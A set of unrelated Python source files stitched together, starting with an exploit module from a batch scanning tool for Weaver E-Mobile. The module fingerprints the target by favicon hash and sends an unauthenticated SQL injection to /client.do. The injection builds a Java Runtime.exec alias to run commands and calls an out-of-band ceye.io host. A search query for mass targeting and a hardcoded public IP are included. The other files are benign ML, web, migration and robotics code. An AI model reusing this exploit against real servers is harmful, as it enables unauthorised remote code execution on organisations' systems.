# coding=utf-8
# @Author   : zpchcbd HG team
# @Time     : 2021-09-08 16:30

import hashlib
from colorama import Fore
from tqdm import tqdm

from exploit.web import BaseScript
from core.MyEnums import *
from core.request.asynchttp import *

# app="泛微-EMobile" && country="CN"
# python batch.py -m exploit.web.OA.Weaver.e-mobile.unauth_client_do_database_rce -cs -fs "app=\"泛微-EMobile\" && country=\"CN\""

class Script(BaseScript):
    name = 'E-Mobile'

    def __init__(self, target, session):
        super().__init__()
        # 漏洞目标
        self.target = target
        # 漏洞等级
        self.bugLevel = BugLevel.HIGH
        # 类型
        self.bugType = BugType.RCE
        # 编号
        self.bugNumber = ''
        # 来源
        self.refer = 'https://forum.butian.net/share/84'
        # 特定路径判断
        self.detectPathList = ['/favicon.ico']
        # exec
        self.execPathList = ['/client.do']
        # session
        self.session = session
        # 相关信息
        self.info = 'version == V6.6'
        self.favicon = ['f51746305f07a64eafa401adab364ad9']

    async def detect(self):
        try:
            for detectPath in self.detectPathList:
                url = f'http://{self.target}{detectPath}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{detectPath}'
                async with self.session.get(url=url, headers=self.headers, timeout=self.reqTimeout, verify_ssl=False) as response:
                    if response is not None:
                        text = await response.read()
                        await asyncio.sleep(2)
                        m1 = hashlib.md5()
                        m1.update(text)
                        theMD5 = m1.hexdigest()
                        for _ in self.favicon:
                            if _ == theMD5 or 'E-Mobile' in str(text):
                                self.flag = True
                                tqdm.write(Fore.RED + '[{}] {}'.format('E-Mobile Finger', url))
                                return {'name': 'E-Mobile Finger', 'url': url, 'software': 'E-Mobile'}
        except Exception:
            return None

    async def exec(self):
        headers = self.headers.copy()
        headers.update({
            'Connection': "close",
            'Accept-Encoding': "gzip, deflate",
            'Accept': "*/*",
            'Content-Type': "application/x-www-form-urlencoded"
        })
        try:
            for execPath in self.execPathList:
                url = f'http://{self.target}{execPath}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{execPath}'
                randomNum = random.randint(10000, 99999)
                data = "method=getupload&uploadID=1';CREATE ALIAS cs"+str(randomNum)+" AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lan','g.Run','time rt=java.la','ng.Ru','ntime.getRu','ntime();rt.ex','ec(cmd);}');CALL cs"+str(randomNum)+"('ping weaver.client.0wtpsg.ceye.io');select+'1 "
                async with self.session.post(url=url, data=data, headers=headers, timeout=self.reqTimeout, verify_ssl=False) as response:
                    if response is not None and response.status == 200:
                        tqdm.write(Fore.RED + '[{}] {}'.format('E-Mobile RCE', url))
                        return {'name': 'E-Mobile RCE', 'url': url, 'software': 'E-Mobile'}
        except Exception:
            return None

    async def attack(self, semaphore, pbar):
        async with semaphore:
            a = await self.detect()
            if a is not None:
                self.vulList.append(a)
            if self.flag:
                b = await self.exec()
                if b is not None:
                    self.vulList.append(b)
        pbar.update(1)
        return self.vulList

if __name__ == '__main__':
    # import requests
    # import hashlib
    #
    # resp = requests.get('https://50.84.113.154:8443/favicon.ico', verify=False)
    # if resp.status_code == 200:
    #     m1 = hashlib.md5()
    #     m1.update(resp.content)
    #     theMD5 = m1.hexdigest()
    #     print(theMD5)
    semaphore = asyncio.Semaphore(500)
    sc = Script('221.0.183.26:8009', 1)
    l = asyncio.get_event_loop()
    l.run_until_complete(sc.attack(semaphore))


# -*- coding: utf-8 -*-
"""
Created on Sat Aug 29 05:50:37 2020

@author: muham
"""

import numpy as np

import pandas as pd

import matplotlib.pyplot as plt

veriler = pd.read_csv("musteriler.csv")

X = veriler.iloc[:, 3:].values

from sklearn.cluster import KMeans

km_cluster = KMeans(n_clusters=3, init='k-means++')

km_cluster.fit(X)

print(km_cluster.cluster_centers_)

sonuclar = list()

for i in range(1, 11):
    kmeans = KMeans(n_clusters=i, init='k-means++', random_state=123)
    kmeans.fit(X)

    sonuclar.append(kmeans.inertia_)

plt.plot(range(1,11), sonuclar)

Machine Learning/Studies and Codes/From Courses/Machine Learning with Python Course   -   Şadi Evren Şeker/K-Means Clustering/1 - K-Means Clustering.py


import simplejson

"""
This is a wrapper around simplejson library to give python 2.4 JSON standard capabilities.
To be compatible with python 2.6 standard JSON library, only loads and dumps must be used.

Notes: Compatible with pythons 2.5+, the exception returned will be a ValueError
"""

__all__ = ['loads', 'dumps']

def convert2str(item):
    """
    This is an implementation to fix a bug with __repr__ function implemenation in python.
    """
    if type(item) is unicode:
        try:
            return str(item)
        except:
            return item
    elif type(item) is list:
        ret = []
        for i in item:
            ret.append(convert2str(i))
        return ret
    elif type(item) is tuple:
        return tuple(convert2str(list(item)))
    elif type(item) is dict:
        ret = {}
        for i in item.keys():
            ret[convert2str(i)] = convert2str(item[i])
        return ret
    else:
        return item

def loads(s):
    intype = type(s)
    try:
        ret = simplejson.loads(s)
    except simplejson.JSONDecodeError:
        raise ValueError(s)
    if intype is str:
        return convert2str(ret)
    else:
        return ret

def dumps(s):
    return simplejson.dumps(s)


"""Added conversion history

Revision ID: 98f5726393b4
Revises: 199b1fe61d72
Create Date: 2022-07-20 18:50:17.658744

"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql

# revision identifiers, used by Alembic.
revision = '98f5726393b4'
down_revision = '199b1fe61d72'
branch_labels = None
depends_on = None

def upgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('conversionhistory',
    sa.Column('id', postgresql.UUID(as_uuid=True), nullable=False),
    sa.Column('from_currency', sa.String(length=3), nullable=False),
    sa.Column('to_currency', sa.String(length=3), nullable=False),
    sa.Column('amount', sa.Float(), nullable=False),
    sa.Column('rate', sa.Float(), nullable=False),
    sa.Column('result', sa.Float(), nullable=False),
    sa.Column('timestamp', sa.DateTime(timezone=True), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_index(op.f('ix_conversionhistory_from_currency'), 'conversionhistory', ['from_currency'], unique=False)
    op.create_index(op.f('ix_conversionhistory_to_currency'), 'conversionhistory', ['to_currency'], unique=False)
    # ### end Alembic commands ###

def downgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_index(op.f('ix_conversionhistory_to_currency'), table_name='conversionhistory')
    op.drop_index(op.f('ix_conversionhistory_from_currency'), table_name='conversionhistory')
    op.drop_table('conversionhistory')
    # ### end Alembic commands ###


from collections import defaultdict
dic = defaultdict(list)
while True:
    cmd = input()
    if cmd == "end":
        break
    crs, std = cmd.split(" : ")
    dic[crs].append(std)
for c in dic:
    print(f"{c}: {len(dic[c])}")
    [print(f"-- {s}") for s in dic[c]]


from __future__ import print_function, absolute_import
import argparse
import os,sys
import shutil
import time
import math
import os.path as osp
import numpy as np

fileDir = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, fileDir)

import torch
import torch.nn as nn
import torch.nn.parallel
import torch.nn.functional as F
import torch.backends.cudnn as cudnn
import torch.optim
import torch.utils.data
from torch.optim import lr_scheduler

import models
import datasets
from datasets.depth_loader import DepthDataset
from util.utils import AverageMeter, Logger, save_checkpoint, Evaluate
from util.criterion import init_criterion, get_criterions

parser = argparse.ArgumentParser(description='PyTorch Depth Completion Training')
parser.add_argument('--dataset', default='kitti', choices=datasets.get_names(),
                    help='name of dataset')
parser.add_argument('--data-root', default='./data', help='root path to datasets')
parser.add_argument('--save-root', default='./checkpoints', help='root path to datasets')
parser.add_argument('--arch', '-a', metavar='ARCH', default='sparseconv',
                    choices=models.get_names(),
                    help='model architecture: ' +
                        ' | '.join(models.get_names()) +
                        ' (default: sparseconv)')
parser.add_argument('--tag', default='', help='tag in save path')
parser.add_argument('--height', type=int, default=352,
                    help="height of an image (default: 256)")
parser.add_argument('--width', type=int, default=1216,
                    help="width of an image (default: 128)")
parser.add_argument('-j', '--workers', default=4, type=int, metavar='N',
                    help='number of data loading workers (default: 4)')
parser.add_argument('--epochs', default=90, type=int, metavar='N',
                    help='number of total epochs to run')
parser.add_argument('--start-epoch', default=0, type=int, metavar='N',
                    help='manual epoch number (useful on restarts)')
parser.add_argument('--step-size', default=20, type=int, metavar='N',
                    help='stepsize to decay learning rate (>0 means this is enabled)')
parser.add_argument('--eval-step', default=20, type=int, metavar='N',
                    help='stepsize to evaluate')
parser.add_argument('--criterion', default='masked_mseloss', choices=get_criterions(), help="type of criterion")
parser.add_argument('--gamma', default=0.1, type=float, help="learning rate decay")
parser.add_argument('-b', '--batch-size', default=64, type=int,
                    metavar='N', help='mini-batch size (default: 64)')
parser.add_argument('--optim', default='adam', type=str)
parser.add_argument('--lr', '--learning-rate', default=0.1, type=float,
                    metavar='LR', help='initial learning rate')
parser.add_argument('--momentum', default=0.9, type=float, metavar='M',
                    help='momentum')
parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,
                    metavar='W', help='weight decay (default: 1e-4)')
parser.add_argument('--print-freq', '-p', default=10, type=int,
                    metavar='N', help='print frequency (default: 10)')
parser.add_argument('--resume', default='', type=str, metavar='PATH',
                    help='path to latest checkpoint (default: none)')
parser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',
                    help='evaluate model on validation set')
parser.add_argument('--gpu-ids', default='0', type=str, help='gpu device ids for CUDA_VISIBLE_DEVICES')

def init_optim(optim, params, lr, weight_decay):
    if optim == 'adam':
        return torch.optim.Adam(params, lr=lr, weight_decay=weight_decay)
    elif optim == 'sgd':
        return torch.optim.SGD(params, lr=lr, momentum=0.9, weight_decay=weight_decay)
    elif optim == 'rmsprop':
        return torch.optim.RMSprop(params, lr=lr, momentum=0.9, weight_decay=weight_decay)
    else:
        raise KeyError("Unsupported optim: {}".format(optim))

def main():
    global args
    args = parser.parse_args()
    best_epoch = 0
    best_pipline = np.inf

    os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu_ids
    cudnn.benchmark = True

    if args.tag:
        save_name = args.criterion + '_'+args.tag
    else:
        save_name = args.criterion
    args.save_root = osp.join(args.save_root, args.dataset, args.arch, save_name)
    if not args.evaluate:
        sys.stdout = Logger(osp.join(args.save_root, 'log_train.txt'))
    else:
        if args.resume:
            args.save_root = osp.dirname(args.resume)
        sys.stdout = Logger(osp.join(args.save_root, 'log_test.txt'))
    print("==========\nArgs:{}\n==========".format(args))

    # create model
    print("=> creating model '{}'".format(args.arch))
    model = models.init_model(name=args.arch)
    print("Model size: {:.5f}M".format(sum(p.numel() for p in model.parameters())/1000000.0))
    # optionally resume from a checkpoint
    optimizer = init_optim(args.optim, model.parameters(), args.lr, args.weight_decay)

    if args.resume:
        if os.path.isfile(args.resume):
            print("=> loading checkpoint '{}'".format(args.resume))
            checkpoint = torch.load(args.resume)
            args.start_epoch = checkpoint['epoch']
            best_epoch = checkpoint['epoch']
            best_pipline = checkpoint['rmse']
            model.load_state_dict(checkpoint['state_dict'])
            optimizer.load_state_dict(checkpoint['optimizer'])
            print("=> loaded checkpoint '{}' (epoch {})"
                  .format(args.resume, checkpoint['epoch']))
        else:
            print("=> no checkpoint found at '{}'".format(args.resume))

    model = torch.nn.DataParallel(model).cuda()
    criterion = init_criterion(args.criterion).cuda()
    if args.step_size > 0:
        scheduler = lr_scheduler.StepLR(optimizer, step_size=args.step_size, gamma=args.gamma)

    print("Initializing dataset {}".format(args.dataset))
    dataset = datasets.init_dataset(args.dataset, root=osp.join(args.data_root,args.dataset))

    # Data loading code
    train_dataset = DepthDataset(osp.join(args.data_root,args.dataset), dataset.trainset, args.height, args.width)
    val_dataset = DepthDataset(osp.join(args.data_root,args.dataset), dataset.valset, args.height, args.width, isVal=True)
    val_select_dataset = DepthDataset(osp.join(args.data_root,args.dataset), dataset.valset_select, isVal=True)

    train_loader = torch.utils.data.DataLoader(
        train_dataset, batch_size=args.batch_size, shuffle=True,
        num_workers=args.workers, pin_memory=True, drop_last=True)
    val_loader = torch.utils.data.DataLoader(
        val_dataset, batch_size=args.batch_size, shuffle=False,
        num_workers=args.workers, pin_memory=True)
    val_select_loader = torch.utils.data.DataLoader(
        val_select_dataset, batch_size=args.batch_size, shuffle=False,
        num_workers=args.workers, pin_memory=True)

    if args.evaluate:
        print("Evaluate only")
        rmse = validate(val_loader, model, criterion)
        rmse_select = validate(val_select_loader, model, criterion)
        print(' * RMSE {rmse:.6f}\t RMSE_select {rmse_select:.6f}'.format(rmse=rmse, rmse_select=rmse_select))
        return

    print("==> Start training")
    for epoch in range(args.start_epoch, args.epochs):
        # train for one epoch
        train(train_loader, model, optimizer, criterion, epoch)

        if args.step_size > 0: scheduler.step()

        # evaluate on validation set
        if args.eval_step > 0 and (epoch+1) % args.eval_step == 0 or (epoch+1) == args.epochs:
            print("==> Test")
            rmse = validate(val_loader, model, criterion)
            rmse_select = validate(val_select_loader, model, criterion)
            print(' * RMSE {rmse:.6f}\t RMSE_select {rmse_select:.6f}'.format(rmse=rmse, rmse_select=rmse_select))

            is_best = rmse < best_pipline
            if is_best:
                best_epoch = epoch + 1
                best_pipline = rmse
            save_checkpoint({
                'epoch': epoch + 1,
                'rmse': rmse,
                'arch': args.arch,
                'state_dict': model.module.state_dict(),
                'optimizer' : optimizer.state_dict(),
            }, is_best, osp.join(args.save_root, 'checkpoint_ep' + str(epoch+1) + '.pth.tar'))

    print("==> Minimal RMSE {:.6f}, achieved at epoch {}".format(best_pipline, best_epoch))

def train(train_loader, model, optimizer, criterion, epoch):
    batch_time = AverageMeter()
    losses = AverageMeter()
    rmses = AverageMeter()
    results = Evaluate()

    model.train()

    end = time.time()
    for i, (input, target, scale) in enumerate(train_loader):
        # measure data loading time
        input, target, scale = input.cuda(), target.cuda(), scale.float().cuda()
        # compute output
        output = model(input)

        loss = criterion(output, target)
        # measure accuracy and record loss
        losses.update(loss.item(), input.size(0))
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        output = output * scale.view(input.size(0),1,1,1).expand_as(output)
        target = target * scale.view(input.size(0),1,1,1).expand_as(target)
        results.evaluate(output, target)
        rmses.update(results.rmse, results.num)
        # output = output * 256.
        # target = target * 256.
        batch_time.update(time.time() - end)
        end = time.time()

        if i % args.print_freq == 0:
            print('Epoch: [{0}][{1}/{2}]\t'
                  'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
                  'Loss {loss.val:.6f} ({loss.avg:.6f})\t'
                  'RMSE {rmse.val:.6f} ({rmse.avg:.6f})'.format(
                   epoch+1, i+1, len(train_loader), batch_time=batch_time,
                   loss=losses, rmse=rmses))

def validate(val_loader, model, criterion):
    batch_time = AverageMeter()
    losses = AverageMeter()
    results = Evaluate()
    rmses = AverageMeter()
    model.eval()

    with torch.no_grad():
        end = time.time()
        for i, (input, target, _) in enumerate(val_loader):
            input, target = input.cuda(), target.cuda()
            valid_mask = (input>0).detach().float()

            # compute output
            output = model(input)
            output = input*valid_mask + output*(1-valid_mask)
            output = torch.clamp(output, min=0, max=255)
            loss = criterion(output, target)
            # measure accuracy and record loss
            losses.update(loss.item(), input.size(0))
            results.evaluate(output, target)
            rmses.update(results.rmse, results.num)
            # output = output * 256.
            # target = target * 256.

            batch_time.update(time.time() - end)
            end = time.time()

            if i % args.print_freq == 0:
                print('Test: [{0}/{1}]\t'
                      'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
                      'Loss {loss.val:.6f} ({loss.avg:.6f})\t'
                      'RMSE {rmse.val:.6f} ({rmse.avg:.6f})'.format(
                       i, len(val_loader), batch_time=batch_time,
                       loss=losses, rmse=rmses))

    return rmses.avg

if __name__ == '__main__':
    main()


"""
Le module ImageClass contient uniquement la classe Image, avec
la configuration du serveur UDP qui reçoit les images (le client).
"""
import cv2
from numpy import int0
from util import (
    colsort,
    rect_to_points,
    points_to_droite,
    droite_to_angle
)

class Image:
    """
    La classe Image représente une image et permet de réaliser les
    opérations de contrôle du robot nécessaire pour qu'il suive
    la ligne.
    Elle contient comme attributs de classe :
    - tailleImageY :    La hauteur de l'image
    - tailleImageX :    La largeur de l'image (calculée en fct de la hauteur)

    Et comme attributs privés :
    - image :       Image originale en nuances de gris et recadrée
    - image_thresh  Image seuillée
    """

    def __init__(self, image):
        self._image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    def isFin(self):
        """
        Détecter la présence d'une ligne
        Seuillage de la ligne noire (pix<50)
        Compare le nbr de non-zero retrouvé l'image seuillé
        """
        return 50 > cv2.countNonZero(cv2.threshold(
            self._image, 50, 255,
            cv2.THRESH_BINARY_INV)[1]
        )

    def isSurex(self):
        """
        Détecter si une image est en surexposition ou non.

        Seuillage de la partie "Surex", partie de couleur blanche (pix>220)
        Compare le nbr de non-zero retrouvé l'image seuillé

        Renvoie True si l'image est en surexposition, False sinon.
        """
        return 50 < cv2.countNonZero(cv2.threshold(
            self._image, 245, 255,
            cv2.THRESH_BINARY)[1]
        )

    def Traitement(self):
        """
        Effectue un seuillage en fonction de l'exposition.
        """
        if self.isSurex():
            self._image_thresh = cv2.adaptiveThreshold(self._image, 255,
            cv2.ADAPTIVE_THRESH_MEAN_C,cv2.THRESH_BINARY_INV, 501, 25)
        else:
            _, self._image_thresh = cv2.threshold(self._image,
            0, 255,cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)

    def send(self, server=None, img=None):
        """
        Envoyer l'image courante (ou passée en paramètre) sur le serveur UDP
        """
        if server is None: return

        if img is None:
            img = self._image

        res,jpg=cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 10])

        try:
            server.sendall(int(jpg.size).to_bytes(4, 'big', signed=True)
                           + jpg.tobytes())
        except OSError:
            print("Erreur: image::Image.send")

    def shift_angle(self, nbRec=1):
        """
        Trouver le décallage et l'angle de la ligne.
        Angle : Angle que forme la ligne avec l'axe vertical.
                Est compris entre -90 et 90°.
        Décallage : décallage de la ligne par rapport au centre bas de l'image.
                    Il est en pourcentage et oscille autour de 0% (peut
                    dont être négatif)
        Par exemple :
        +----------+---------+
        |                |  ||
        |               /  / |
        |             /  /   |
        |            |  |    |
        +----------+--+-------+
                   |  |
               milieu |
                      décallage de +10%

        """
        # Contours
        img = self._image_thresh
        X = len(img[0])
        Y = len(img)
        ligne_split = int(Y/nbRec)
        tab = []

        for i in range(1,nbRec+1):
            contours, _ = cv2.findContours(img[ligne_split*(i-1):ligne_split*i], cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)

            if contours is None or len(contours) == 0:
                tab.append(None)
            else:
                best_contours = max(contours, key=cv2.contourArea)
                rect = cv2.minAreaRect(best_contours)
                (cx, cy), size, angle = rect
                rect = (cx, cy+ligne_split*(i-1)), size, angle
                box = int0(cv2.boxPoints(rect))
                box2 = colsort(box, 1)
                A, B = rect_to_points(X, Y, box2)
                (m, p) = points_to_droite(A, B)

                angle = droite_to_angle(m, p)
                xbottom = -(p/m) if p is not None else m
                shift = int((xbottom*100) / (X/2))
                tab.append((shift, angle))

                img = cv2.drawContours(img, [box], 0, 127, 3)
                img = cv2.line(img, (int(A[0]+X/2), int(Y-A[1])), (int(B[0]+X/2), int(Y-B[1])), 50, 10)

        self._image_thresh = img
        return tab

def __imageTest__(image):
    image = cv2.imread(image)
    img = Image(image)
    img.Traitement()
    resultat_analyse = img.shift_angle(1)

    for i in range (len(resultat_analyse)):
        shift, angle = resultat_analyse[i]
        print (shift, angle)

    cv2.namedWindow("img", cv2.WINDOW_NORMAL)
    cv2.resizeWindow('img', (640, 380))
    cv2.moveWindow('img', 480, 0)
    cv2.imshow("img", img._image_thresh)
    cv2.waitKey(0)
    cv2.destroyAllWindows()

    return "Fini \n"

print(__imageTest__("image\img.jpg"))
print(__imageTest__("image\surex2.jpg"))
print(__imageTest__("image\surex.jpg"))


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models
import django.db.models.deletion

class Migration(migrations.Migration):

    dependencies = [
        ('cms', '0013_urlconfrevision'),
        ('polls', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='PollResultsPluginModel',
            fields=[
                ('cmsplugin_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='cms.CMSPlugin')),
                ('question', models.ForeignKey(on_delete=django.db.models.deletion.SET_NULL, default=None, blank=True, to='polls.Question', null=True)),
            ],
            options={
                'abstract': False,
            },
            bases=('cms.cmsplugin',),
        ),
    ]


from flask import jsonify, Blueprint, request
from app.schemas.schema import ProductSchema,ProductSchema
import requests
from http import HTTPStatus

market = Blueprint("market", __name__)

@market.route("/", methods=["GET"])

def test():

    return jsonify({"result": True})

@market.route("/market", methods=["GET"])
def get_market():

    req = requests.get("http://127.0.0.1:5338/api/v1/categories")

    data = req.json()
    print(data)

    return jsonify(data), HTTPStatus.OK

@market.route("/sale/<uuid:id>", methods = ["POST"])
def post_sale(id):

    new_data = request.get_json()
    new_data_count = new_data.get("count") #daxil etdiyim

    req1 = requests.get("http://127.0.0.1:5338/api/v1/product/{}".format(id))

    count = req1.json().get("count") #evvelki

    new_count = int(count)-int(new_data_count)

    if new_count<0:

        return jsonify ({"result":"yoxdur"})

    else:

        req=requests.post("http://127.0.0.1:5338/api/v1/product/{}".format(id),json={ "count" : str(new_count)})

        if req.status_code == 200:

            return req.json()

        else:

            return False


# flake8: noqa
# pylint: disable=invalid-name
# pylint: disable=line-too-long
# pylint: disable=missing-docstring
# pylint: disable=too-many-arguments
# pylint: disable=too-many-locals
"""
TFIDF
===============================================================================

>>> from techminer2.analyze import tfidf
>>> tfidf(
...     #
...     # TF PARAMS:
...     field='author_keywords',
...     is_binary=False,
...     cooc_within= 1,
...     #
...     # ITEM FILTERS:
...     top_n=50,
...     occ_range=(None, None),
...     gc_range=(None, None),
...     custom_items=None,
...     #
...     # TF-IDF parameters:
...     norm= None,
...     use_idf=False,
...     smooth_idf=False,
...     sublinear_tf=False,
...     #
...     # DATABASE PARAMS:
...     root_dir="example/",
...     database="main",
...     year_filter=(None, None),
...     cited_by_filter=(None, None),
... ).head()
author_keywords                                     REGTECH 28:329  ...  COMPLIANCE_REPORTING 01:008
article                                                             ...
Anagnostopoulos I, 2018, J ECON BUS, V100, P7                    1  ...                            0
Arner DW, 2017, HANDBBLOCKCHAIN, DIGIT FINANC, ...               1  ...                            0
Battanta L, 2020, PROC EUR CONF INNOV ENTREPREN...               1  ...                            0
Becker M, 2020, INTELL SYST ACCOUNT FINANCE M, ...               0  ...                            0
Buckley RP, 2020, J BANK REGUL, V21, P26                         1  ...                            0
<BLANKLINE>
[5 rows x 50 columns]

"""
from typing import Literal

import numpy as np
import pandas as pd
from sklearn.feature_extraction.text import TfidfTransformer

from .._common._counters_lib import add_counters_to_frame_axis
from .._common._filtering_lib import generate_custom_items
from .._common._read_records import read_records
from ..indicators.global_indicators_by_field import global_indicators_by_field

def tfidf(
    #
    # TF PARAMS:
    field: str,
    is_binary: bool = False,
    cooc_within: int = 1,
    #
    # ITEM FILTERS:
    top_n=None,
    occ_range=(None, None),
    gc_range=(None, None),
    custom_items=None,
    #
    # TF-IDF parameters:
    norm: Literal["l1", "l2", None] = None,
    use_idf=False,
    smooth_idf=False,
    sublinear_tf=False,
    #
    # DATABASE PARAMS:
    root_dir="./",
    database="main",
    year_filter=(None, None),
    cited_by_filter=(None, None),
    **filters,
):
    """Computes TF Matrix.

    :meta private:
    """

    indicators = global_indicators_by_field(
        field=field,
        root_dir=root_dir,
        database=database,
        year_filter=year_filter,
        cited_by_filter=cited_by_filter,
        **filters,
    )

    if custom_items is None:
        custom_items = generate_custom_items(
            indicators=indicators,
            metric="OCC",
            top_n=top_n,
            occ_range=occ_range,
            gc_range=gc_range,
        )

    indicators = indicators[indicators.index.isin(custom_items)]

    custom_items = indicators.index.tolist()

    # compute TF matrix
    result = _create_tf_matrix(
        field=field,
        cooc_within=cooc_within,
        custom_items=custom_items,
        root_dir=root_dir,
        database=database,
        year_filter=year_filter,
        cited_by_filter=cited_by_filter,
        **filters,
    )

    if is_binary is True:
        result = result.applymap(lambda w: 1 if w > 0 else 0)

    if norm is not None or use_idf or smooth_idf or sublinear_tf:
        transformer = TfidfTransformer(
            norm=norm,
            use_idf=use_idf,
            smooth_idf=smooth_idf,
            sublinear_tf=sublinear_tf,
        )

        result = transformer.fit_transform(result)
    else:
        result = result.astype(int)

    result = add_counters_to_frame_axis(
        dataframe=result,
        axis=1,
        field=field,
        root_dir=root_dir,
        database=database,
        year_filter=year_filter,
        cited_by_filter=cited_by_filter,
        **filters,
    )

    result = _remove_rows_of_zeros(result)
    result = _sort_columns(result)

    return result

def _sort_columns(result):
    topics = pd.DataFrame({"topic": result.columns.tolist()})

    topics["OCC"] = topics.topic.str.split()
    topics["OCC"] = topics["OCC"].map(lambda x: x[-1])
    topics["OCC"] = topics["OCC"].str.split(":")
    topics["OCC"] = topics["OCC"].map(lambda x: x[0]).astype(int)

    topics["citations"] = topics.topic.str.split()
    topics["citations"] = topics["citations"].map(lambda x: x[-1])
    topics["citations"] = topics["citations"].str.split(":")
    topics["citations"] = topics["citations"].map(lambda x: x[1]).astype(int)

    topics = topics.sort_values(by=["OCC", "citations", "topic"], ascending=[False, False, True])
    sorted_topics = topics.topic.tolist()
    result = result[sorted_topics]
    return result

def _remove_rows_of_zeros(result):
    result = result.loc[(result != 0).any(axis=1)]
    return result

def _create_tf_matrix(
    field,
    cooc_within,
    custom_items,
    # Database params:
    root_dir,
    database,
    year_filter,
    cited_by_filter,
    **filters,
):
    records = read_records(
        root_dir=root_dir,
        database=database,
        year_filter=year_filter,
        cited_by_filter=cited_by_filter,
        **filters,
    )

    records = records.reset_index()
    records = records[[field, "article"]].copy()
    records = records.dropna()
    records["OCC"] = 1
    records[field] = records[field].str.split(";")
    records = records.explode(field)
    records[field] = records[field].str.strip()

    grouped_records = records.groupby(["article", field], as_index=False).agg({"OCC": "sum"})

    result = pd.pivot(
        index="article",
        data=grouped_records,
        columns=field,
        values="OCC",
    )
    result = result.loc[:, result.columns.isin(custom_items)]
    result = result.fillna(0)
    result = result.loc[(result.sum(axis=1) >= cooc_within)]

    return result


import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

def gauss(x0,x1):

    return np.exp(-1*(x0**2 + x1**2))

def main():

    xn = 50
    x0 = np.linspace(-4,4,xn)
    x1 = np.linspace(-4,4,xn)

    y = np.zeros((xn,xn,3))
    for i0 in range(xn):
        for i1 in range(xn):
            y[i1,i0] = gauss(x0[i0],x1[i1])

    xx0,xx1 = np.meshgrid(x0,x1)

    plt.figure(figsize=(5,5))

    ax = plt.subplot(1,1,1,projection="3d")
    ax.plot_surface(xx0,xx1,y[:,:,0],
                    rstride=1, cstride=1,
                    alpha=0.5, color="blue",edgecolor="black")

    ax.set_xlabel("$x_0$",fontsize=18)
    ax.set_ylabel("$x_1$",fontsize=18)
    ax.set_zlabel("$y$",fontsize=18)
    ax.view_init(40,-125)

    plt.show()

if __name__ == "__main__":
    main()


# pip install flask
import os
from flask import Flask, render_template, request
import cv2
import pytesseract
import matplotlib.pyplot as plt
from PIL import Image

# import our OCR function
# from ocr_core import ocr_core
pytesseract.pytesseract.tesseract_cmd = "C:\\Program Files\\Tesseract-OCR\\tesseract"

def ocr_core(filename):
    """This function will handle the core OCR processing of images"""
    text = pytesseract.image_to_string(Image.open(filename))
    # We'll use Pillow's Image class to open the image and pytesseract to detect the string in the image
    return text

# define a folder to store and later serve the images
UPLOAD_FOLDER = 'static/uploads/'

# allow files of a specific type
ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])

app = Flask(__name__)

# function to check the file extension
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

# route and function to handle the home page
@app.route('/')  # localhots:5000
def home_page():
    return render_template('index.html')

# {% Python_syntax %}
# {{ data }}
# route and function to handle the upload page
@app.route('/upload', methods=['GET', 'POST'])
def upload_page():
    if request.method == 'POST':
        # check if there is a file in the request
        if 'file' not in request.files:
            return render_template('upload.html', msg='No file selected')
        file = request.files['file']
        # if no file is selected
        if file.filename == '':
            return render_template('upload.html', msg='No file selected')

        if file and allowed_file(file.filename):
            # if file is uploaded and its extension is .jpg, .png or .jpeg
            # call the OCR function on it
            extracted_text = ocr_core(file)

            # extract the text and display it
            return render_template('upload.html',
                                   msg='Successfully processed',
                                   extracted_text=extracted_text,
                                   img_src=UPLOAD_FOLDER + file.filename)
    elif request.method == 'GET':
        return render_template('upload.html')

if __name__ == '__main__':
    app.run()


from question_model import Question
from  data import question_data
from quiz_brain import QuizBrain

question_bank = []
for data in question_data:
    question_bank.append(Question())

quizBrain = QuizBrain(question_bank)

while quizBrain.still_has_ques():
    quizBrain.next_question()

print("You have Completed Your Quiz")
print(f"Your Score is {quizBrain.score}/{quizBrain.question_number}")

Day 17/Final Project - Quiz Game/main.py


import glob, os, sys
import ROOT as r
import yaml
import time
import EventProducer.common.utils as ut
class checker_yaml():

#__________________________________________________________
    def __init__(self, indir, para, fext, process, yamldir):
        self.indir  = indir
        self.para   = para
        self.fext   = fext
        self.process = process
        self.yamldir = yamldir
        self.count = 0

#__________________________________________________________
    def checkFile_stdhep(self, f):

        hack = True
        #hack = False

        size=os.path.getsize(f)
        if size==0:
            self.count+=1
            print ('file size is 0, job is bad')
            return -1,False

        filecounting='filecounting'
        if os.path.isdir(filecounting)==False:
            os.system('mkdir %s'%filecounting)
        else:
            if len(glob.glob('%s/*stdhep*'%filecounting))>0: os.system('rm %s/*stdhep*'%filecounting)

        if hack:
           cmd='cp /dev/null %s/%s'%(filecounting, f.split('/')[-1] )
        else :
           cmd='cp %s %s'%(f,filecounting)

        outputCMD = ut.getCommandOutput(cmd)
        fcount='%s/%s'%(filecounting,f.split('/')[-1])
        if os.path.isfile(fcount):
            cmd='gunzip %s'%(fcount)
            stderr=''
            if not hack:
                outputCMD = ut.getCommandOutput(cmd)
                stderr=outputCMD["stderr"]
            if len(stderr)>0:
